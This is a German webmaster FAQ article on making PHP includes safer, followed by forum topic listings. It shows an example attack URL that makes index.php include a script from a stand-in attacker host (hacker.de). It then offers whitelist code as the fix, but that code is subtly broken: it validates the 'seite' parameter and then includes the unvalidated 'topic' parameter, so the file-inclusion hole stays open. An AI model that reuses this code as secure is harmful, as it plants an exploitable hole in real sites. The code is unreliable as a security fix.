Anzeige - [Interessiert an einer Anzeige?]

> Webmaster FAQ - Includes sicherer machen - PHP, Mysql & Apache
Ayom Wissensdatenbank 642 Artikel
  Aktuelles Rating:    Last Edit by Patrick Z @ 05.06.2005 08:06:15
Edit Post

Includes sicherer machen

Wenn man ein Templatesystem hat, kann es sein, dass per URL die Template-Datei und der Inhalt übergeben.

Bsp.

localhost/index.php?temp=88;c=inhalt-4.php


Das ist ein riesiges Sicherheitsloch.

Ein Hacker könnte seine Skripte der index.php übergeben, indem er einfach eine "böse" Inhaltsdatei anhängt - und kann so die Homepage stark beschädigen.

localhost/index.php?temp=88;c=http://www.hacker.de/hackerdatei.php

index.php
CODE

<?php
$inc_array = array();

$inc_dir=opendir ("./includes");

while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);

if (isset($_GET[seite]) && in_array($_GET[seite], $inc_array) ) {
include("includes/".$_GET[topic].".inc.php");
} else {

include("./includes/start.inc.php");

}
?>


Die index.php wird dann so aufgerufen.
index.php?seite=inhalt

Das führt dazu, dass die Datei inhalt.inc.php im Ordner includes geladen wird.

Zuvor muss man alle Daten in das Verzeichnis includes kopieren.
Alle anderen Parameter werden ignoriert und die Standarddatei geladen.

Quelle des Quellcodes:

www.drweb.de

Creative Commons License Diese Seite steht (wenn nicht anders angegeben)
unter der Creative Commons Lizenz (Mehr Infos)
Diesen Artikel editieren
Neuer Artikel eröffnen
Kategorien des Artikels:

Aktuelle Themen: Betreff, (Autor) Antw. Views Letzte Aktion
problem mit excel
(Seth.Gecko)
7 65 Fri 16. May 18:02
von jAuer
Sekundenzähler?
(anysom)
6 209 Fri 16. May 15:51
von Flo
Zeilenumbrüche, Absätze werden nicht dargestellt ?
(japsa)
4 47 Thu 15. May 10:23
von japsa
Nested Sets und Probleme
(BartTheDevil89)
0 84 Wed 14. May 16:54
von BartTheDevil89
Open Social
(cr4m0)
2 144 Tue 13. May 23:41
von cr4m0
Alle Diskussionen im Programmierung Allgemein Forum anzeigen
Top
 
 



Anzeige - [Interessiert an einer Anzeige?]


Anzeigen






 



[Interessiert an einer Anzeige?]